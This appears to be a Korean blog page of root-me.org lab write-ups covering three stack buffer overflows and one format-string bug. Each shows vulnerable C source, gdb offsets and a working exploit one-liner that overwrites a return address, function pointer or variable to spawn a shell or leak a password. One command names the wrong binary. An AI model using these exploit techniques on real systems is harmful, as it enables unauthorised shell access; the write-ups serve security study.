728x90
반응형
728x90
반응형
728x90
반응형

root-me.org [APP - SYSTEM] ELF x64 - Stack buffer overflow - basic 풀이



문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
 
void callMeMaybe(){
    char *argv[] = { "/bin/bash""-p"NULL };
    execve(argv[0], argv, NULL);
}
 
int main(int argc, char **argv){
 
    char buffer[256];
    int len, i;
 
    scanf("%s", buffer);
    len = strlen(buffer);
 
    printf("Hello %s\n", buffer);
 
    return 0;
}
cs


buffer[256]에 크기제한없이 scanf()을 통해 입력받으므로 bof가 발생한다.



이제 gdb를 이용해 리턴주소를 덮을 callMeMaybe()함수의 주소와, buffer[256]의 위치를 알아내야 한다.



(gdb) disas callMeMaybe

Dump of assembler code for function callMeMaybe:

   0x00000000004005e7 <+0>: push   rbp

   0x00000000004005e8 <+1>: mov    rbp,rsp

   0x00000000004005eb <+4>: sub    rsp,0x20



64비트에서 리턴주소는 6bit만 사용하므로 덮어야 하는 값은 0x0000004005e7이다.



(gdb) disas main
Dump of assembler code for function main:
...
   0x000000000040065b <+51>: lea    rax,[rbp-0x110]
   0x0000000000400662 <+58>: mov    rdi,rax
   0x0000000000400665 <+61>: call   0x4004c0 <strlen@plt>   
... 
End of assembler dump.

buffer[256]은 rbp-0x110에 있다. 0x110은 272바이트로, dummy가 272-256=16 바이트만큼 존재함을 알 수 있다.


buffer[256]+dummy[16]+SFP[8]를 덮고 위에서 찾은 함수주소를 더 덮어주면 될 것 같다.


exploit
(python -c 'print "A"*280+"\xe7\x05\x40\x00\x00\x00"'; cat) | ./ch35



728x90
반응형
728x90
반응형

root-me.org [APP - SYSTEM] Format string bug basic 1 풀이


문제소스:


1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <unistd.h>
 
int main(int argc, char *argv[]){
        FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd""rt");
        char buffer[32];
        fgets(buffer, sizeof(buffer), secret);
        printf(argv[1]);
        fclose(secret);
        return 0;
}
cs


.passwd파일을 불러와 buffer에 32바이트만큼 저장하고

argv[1]을 출력하고 끝냅니다.


printf(argv[1])에서 포맷스트링 버그가 발생합니다.


argv[1]에 %x를 넣어준다면 스택에서 4바이트씩 증가하며 저장된 값을 읽어올 수 있다.


.passwd의 값은 buffer에 저장되어있고 buffer는 스택 어딘가에 존재할 것이다.


%08x를 이용해 스택을 잔뜩 긁어와 보았다.



app-systeme-ch5@challenge02:~$ ./ch5 %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

000000200804b008b7e562f30000000008049ff400000002bffffbb4bffffcd30000002f0804b00839617044282936646d61704500000a64b7e564adb7fd03c4b7fff00008048579defc6f00080485700000000000000000b7e3caf300000002bffffbb4bffffbc0b7fece6a00000002bffffbb4bffffb540804a0140804825cb7fd0000000000000000000000000000d13a6d6be959497b




그리고 다 아스키로 돌렸다.



 °·åbóŸô¿ÿû´¿ÿüÓ/°9apD()6dmapE

d·åd­·ýÄ·ÿð…yÞüo…p·ãÊó¿ÿû´¿ÿûÀ·þÎj¿ÿû´¿ÿûT ‚\·ýÑ:mkéYI{


읽을 수 있는 문자열이 존재했다. 리틀엔디안 방식으로 저장되어 있기 때문에 4바이트씩 날리고 빅엔디안으로 바꾸는 작업을 했주었다.


1) 39617044 28293664 6d617045 00000a64


리틀엔디안 -> 빅엔디안


2) 44706139 64362928 4570616d 64


hex -> ascii


3) Dpa9d6)(Epamd



728x90
반응형
728x90
반응형

root-me.org 

[APP - SYSTEM] 

ELF x86 - Stack buffer overflow basic 2 풀이


문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
 
#include <stdio.h>
#include <stdlib.h>
 
void shell() {
    system("/bin/dash");
}
 
void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
 
main()
{
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}
 
cs



buf의 크기는 128바이트인데, fgets함수로 133만큼 입력을 받으므로 bof가 발생한다.

void (*func)()의 값을 shell() 함수의 주소로 덮어주면 된다.


shell() 함수의 주소를 gdb를 이용해 구할 수 있다.


app-systeme-ch15@challenge02:~$ gdb -q ch15

Reading symbols from ch15...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel 

(gdb) disas shell

Dump of assembler code for function shell:

   0x08048464 <+0>: push   ebp

   0x08048465 <+1>: mov    ebp,esp

   0x08048467 <+3>: sub    esp,0x18

   0x0804846a <+6>: mov    DWORD PTR [esp],0x80485a0

   0x08048471 <+13>: call   0x8048380 <system@plt>

   0x08048476 <+18>: leave  

   0x08048477 <+19>: ret    

End of assembler dump.


shell() : 0x08048464



exploit!


(python -c 'print "A"*128+"\x64\x84\x04\x08"'; cat) | ./ch14


728x90
반응형
728x90
반응형

root-me.org 

[APP - SYSTEM] 

ELF x86 - Stack buffer overflow basic 1 풀이


문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
 
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
 
 
int main()
{
 
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x04030201&& (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
 
  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}
cs


buf의 크기는 40바이트인데, fgets 함수로 45바이트 만큼 buf에 입력을 받으므로 bof가 발생한다.


스택구조는 아래와 같으므로 40바이트만큼 아무 값으로 채워주고, 다음 4바이트를 0xdeadbeef로 채워주면 check의 값을 조작할 수 있다.


낮은주소


char buf[40] <- "A"*40

int check <- "\xef\xbe\xad\xde"

int var


높은주소


exploit


(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./ch13


728x90
반응형

+ Recent posts